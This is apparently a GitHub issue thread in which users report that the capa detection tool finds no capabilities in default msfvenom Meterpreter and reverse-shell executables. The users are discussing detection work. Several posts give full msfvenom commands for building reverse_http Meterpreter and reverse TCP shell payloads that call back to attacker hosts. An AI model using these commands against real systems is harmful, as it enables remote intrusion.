Capa not detecting basic meterpreter exe - no capabilities found

[crimsoncore]

Hi there, running the latest cape build, and when scanning a simple meterpreter exe - it finds nothing (see screenshots). payload generated with "msfvenom -p windows/x64/meterpreter/reverse_http -a x64 LHOST=kali.local LPORT=80 -f exe > met64http.exe".

Using the standalone capa.exe :

[williballenthin]

would you upload the sample here or to VT and we can review the disassembly together? i suspect the payload is using hashed API names and runtime linking, which makes it a little tricky to identify behavior. but perhaps we can add some rules for the API hashes and similar characteristics.

[crimsoncore]

Well it's just a default msfvenom payload, I generated with the command above. When I tried a stageless payload (sfvenom -p windows/x64/meterpreter_reverse_http -a x64 LHOST=10.0.0.7 LPORT=80 -f exe > met64http.exe), it detects compression (lib) - see screenshot.

And when I generate a raw shellcode (msfvenom -p windows/x64/meterpreter_reverse_http -a x64 LHOST=10.0.0.7 LPORT=80 -f raw > met64http.raw) - then it detects everything.

Just wondered that the staged loader, it makes a http connection to download the 2nd stage - should be seen by capa, no?

Can't upload .7z files on GitHub :( - I upload payloads.7z on virustotal - password = infected

https://www.virustotal.com/gui/file/6c45767e0b496c03f00b16e908250413b32b0faff3cac5c2f92c10067601c036?nocache=1

[0x747863]

Hi,
I noticed a similar issue when analyzing a standard msfvenom Reverse TCP shell, created with this command:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=13579 -f exe -o rev1.exe

The actual version of capa does not find any capabilities.

I took a deeper look into the behavior of this file. You can find the article here:
https://medium.com/@0x747863/dissecting-a-msfvenom-tcp-reverse-shell-dafec62e69cd

Maybe it helps you to identify the issue.

Many greetings